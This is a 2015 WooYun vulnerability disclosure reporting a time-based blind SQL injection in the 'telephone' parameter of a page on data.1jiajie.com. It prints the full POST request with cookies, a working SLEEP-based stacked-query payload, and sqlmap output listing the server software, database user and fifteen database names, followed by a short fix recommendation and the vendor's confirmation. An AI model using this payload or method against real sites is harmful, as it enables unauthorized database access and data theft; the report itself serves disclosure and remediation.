当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0141462

漏洞标题:e家洁某站SQL注入/基于时间盲注/涉及多个库

相关厂商:1jiajie.com

漏洞作者: hh2014

提交时间:2015-09-16 08:32

修复时间:2015-10-31 14:36

公开时间:2015-10-31 14:36

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:20

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-09-16: 细节已通知厂商并且等待厂商处理中
2015-09-16: 厂商已经确认,细节仅向厂商公开
2015-09-26: 细节向核心白帽子及相关领域专家公开
2015-10-06: 细节向普通白帽子公开
2015-10-16: 细节向实习白帽子公开
2015-10-31: 细节向公众公开

简要描述:

RT

详细说明:

POST /dealData.html HTTP/1.1
Content-Length: 466
Content-Type: application/x-www-form-urlencoded
X-Requested-With: XMLHttpRequest
Referer: http://data.1jiajie.com:80/
Cookie: PHPSESSID=r0tc42r3mjc33lvtcvlockefo1; Hm_lvt_8cb0dedf820ed19a12222e3b0858424a=1442237901,1442237902; Hm_lpvt_8cb0dedf820ed19a12222e3b0858424a=1442237902; city_code=75; HMACCOUNT=04412CE13D3AC775; BDCBID=284d8f01-1a41-486a-96bd-9c96f66137af; LXB_REFER=www.acunetix-referrer.com; VERSION=2,0,0,0
Host: data.1jiajie.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.21
Accept: */*
address=%e5%8c%97%e4%ba%ac%e6%9c%9d%e9%98%b3%e5%8c%ba%e7%99%be%e5%ad%90%e6%b9%be%e4%b8%80%e5%8f%b7%e6%a5%bc102&address_lou=%e4%b8%80%e5%8f%b7%e6%a5%bc102&city_code=&city_name=&client_order_id=1442237876&freeCode=&order_type=&serverlist=&serviceRequest=&service_time=2014%e5%b9%b408%e6%9c%8802%e6%97%a5%20%20%e4%b8%8a%e5%8d%889:00&telephone=*


telephone参数存在基于时间的盲住

ejia.jpg

漏洞证明:

sqlmap identified the following injection points with a total of 259 HTTP(s) requests:
---
Parameter: #2* ((custom) POST)
Type: stacked queries
Title: MySQL > 5.0.11 stacked queries (SELECT - comment)
Payload: address=%e5%8c%97%e4%ba%ac%e6%9c%9d%e9%98%b3%e5%8c%ba%e7%99%be%e5%ad%90%e6%b9%be%e4%b8%80%e5%8f%b7%e6%a5%bc102&address_lou=%e4%b8%80%e5%8f%b7%e6%a5%bc102&city_code=&city_name=&client_order_id=1442237876&freeCode=&order_type=&serverlist=&serviceRequest=&service_time=2014%e5%b9%b408%e6%9c%8802%e6%97%a5 %e4%b8%8a%e5%8d%889:00&telephone=(select(0)from(select(sleep(0)))v)/'+(select(0)from(select(sleep(0)))v)+'"+(select(0)from(select(sleep(0)))v)+";(SELECT * FROM (SELECT(SLEEP(5)))HOsE)#/
Vector: ;(SELECT * FROM (SELECT(SLEEP([SLEEPTIME]-(IF([INFERENCE],0,[SLEEPTIME])))))[RANDSTR])#
---
web server operating system: Linux CentOS 6.5
web application technology: PHP 5.3.3, Apache 2.2.15
back-end DBMS: MySQL 5.0.11
current user: 'sq_ejiajie@%'
current database: 'sq_ejiajie'
current user is DBA: False
available databases [15]:
[*] ameituan
[*] college
[*] external_sys
[*] information_schema
[*] mysql
[*] performance_schema
[*] sms_up
[*] sq_ejiajie
[*] sq_ejiajie_crm
[*] sq_ejiajie_data
[*] sq_ejiajie_data_v2
[*] sq_ejiajie_sunshine
[*] sq_ejiajie_test
[*] sq_ejiajie_v2
[*] sq_ejiajie_v2_test
sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Parameter: #2* ((custom) POST)
Type: stacked queries
Title: MySQL > 5.0.11 stacked queries (SELECT - comment)
Payload: address=%e5%8c%97%e4%ba%ac%e6%9c%9d%e9%98%b3%e5%8c%ba%e7%99%be%e5%ad%90%e6%b9%be%e4%b8%80%e5%8f%b7%e6%a5%bc102&address_lou=%e4%b8%80%e5%8f%b7%e6%a5%bc102&city_code=&city_name=&client_order_id=1442237876&freeCode=&order_type=&serverlist=&serviceRequest=&service_time=2014%e5%b9%b408%e6%9c%8802%e6%97%a5 %e4%b8%8a%e5%8d%889:00&telephone=(select(0)from(select(sleep(0)))v)/'+(select(0)from(select(sleep(0)))v)+'"+(select(0)from(select(sleep(0)))v)+";(SELECT * FROM (SELECT(SLEEP(5)))HOsE)#/
Vector: ;(SELECT * FROM (SELECT(SLEEP([SLEEPTIME]-(IF([INFERENCE],0,[SLEEPTIME])))))[RANDSTR])#
---
sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Parameter: #2* ((custom) POST)
Type: stacked queries
Title: MySQL > 5.0.11 stacked queries (SELECT - comment)
Payload: address=%e5%8c%97%e4%ba%ac%e6%9c%9d%e9%98%b3%e5%8c%ba%e7%99%be%e5%ad%90%e6%b9%be%e4%b8%80%e5%8f%b7%e6%a5%bc102&address_lou=%e4%b8%80%e5%8f%b7%e6%a5%bc102&city_code=&city_name=&client_order_id=1442237876&freeCode=&order_type=&serverlist=&serviceRequest=&service_time=2014%e5%b9%b408%e6%9c%8802%e6%97%a5 %e4%b8%8a%e5%8d%889:00&telephone=(select(0)from(select(sleep(0)))v)/'+(select(0)from(select(sleep(0)))v)+'"+(select(0)from(select(sleep(0)))v)+";(SELECT * FROM (SELECT(SLEEP(6)))HOsE)#/
Vector: ;(SELECT * FROM (SELECT(SLEEP([SLEEPTIME]-(IF([INFERENCE],0,[SLEEPTIME])))))[RANDSTR])#
---
sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Parameter: #2* ((custom) POST)
Type: stacked queries
Title: MySQL > 5.0.11 stacked queries (SELECT - comment)
Payload: address=%e5%8c%97%e4%ba%ac%e6%9c%9d%e9%98%b3%e5%8c%ba%e7%99%be%e5%ad%90%e6%b9%be%e4%b8%80%e5%8f%b7%e6%a5%bc102&address_lou=%e4%b8%80%e5%8f%b7%e6%a5%bc102&city_code=&city_name=&client_order_id=1442237876&freeCode=&order_type=&serverlist=&serviceRequest=&service_time=2014%e5%b9%b408%e6%9c%8802%e6%97%a5 %e4%b8%8a%e5%8d%889:00&telephone=(select(0)from(select(sleep(0)))v)/'+(select(0)from(select(sleep(0)))v)+'"+(select(0)from(select(sleep(0)))v)+";(SELECT * FROM (SELECT(SLEEP(6)))HOsE)#/
Vector: ;(SELECT * FROM (SELECT(SLEEP([SLEEPTIME]-(IF([INFERENCE],0,[SLEEPTIME])))))[RANDSTR])#
---
web server operating system: Linux CentOS 6.5
web application technology: PHP 5.3.3, Apache 2.2.15
back-end DBMS: MySQL 5.0.11
available databases [15]:
[*] ameituan
[*] college
[*] external_sys
[*] information_
表没跑完,速度有点慢,证明危害即可

修复方案:

参数过滤,参数化查询

版权声明:转载请注明来源 hh2014@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:20

确认时间:2015-09-16 14:36

厂商回复:

感谢您的提交

最新状态:

暂无


漏洞评价:

评论